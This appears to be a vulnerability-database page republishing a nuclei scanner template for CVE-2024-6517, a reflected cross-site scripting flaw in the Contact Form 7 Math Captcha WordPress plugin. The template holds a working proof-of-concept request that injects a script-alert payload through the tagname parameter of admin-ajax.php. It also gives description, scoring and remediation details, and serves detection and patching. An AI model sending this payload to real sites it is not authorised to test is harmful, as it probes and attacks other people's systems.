Lucene search
K

Contact Form 7 Math Captcha <= 2.0.1 - Cross-site Scripting

🗓️ 03 Jul 2026 03:01:05Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 47 Views

Contact Form 7 Math Captcha <= 2.0.1 - Cross-site Scripting. Reflected Cross-Site Scripting vulnerability in ds-cf7-math-captcha WordPress plugin allows high privilege user attack

Related
Refs
Code
id: CVE-2024-6517

info:
  name: Contact Form 7 Math Captcha <= 2.0.1 - Cross-site Scripting
  author: s4e-io
  severity: medium
  description: |
    The Contact Form 7 Math Captcha WordPress plugin through 2.0.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users.
  impact: |
    Attackers can inject malicious JavaScript through the tagname parameter to execute arbitrary code in the context of high-privilege users who interact with crafted links.
  remediation: |
    Update Contact Form 7 Math Captcha plugin to version 2.0.2 or later to address the reflected XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/d04bab9c-7cb4-4d21-b70b-a4a7fabc3c20/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6517
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-6517
    cwe-id: CWE-79
    epss-score: 0.00648
    epss-percentile: 0.46531
    cpe: cpe:2.3:a:dotsquares:contact_form_7_math_captcha:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: dotsquares-wpteam
    product: ds-cf7-math-captcha
    framework: wordpress
    publicwww-query: "/wp-content/plugins/ds-cf7-math-captcha"
  tags: cve,cve2024,wp,wordpress,wp-plugin,xss,ds-cf7-math-captcha,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"/wp-content/plugins/ds-cf7-math-captcha")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=dscf7_refreshcaptcha&tagname="<script>alert(document.domain)</script>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"<script>alert(document.domain)</script>'

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 490a0046304402201c7be30e8ec7eb4bc3c837ef3ffe9f131f099d946d9fca406e3d68e63776d5a002205435f088b55d1d800bd39db7639d4b3a22ddb79b3aa277a3187f8aa2f30564d2:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.16.1
EPSS0.00648
SSVC
47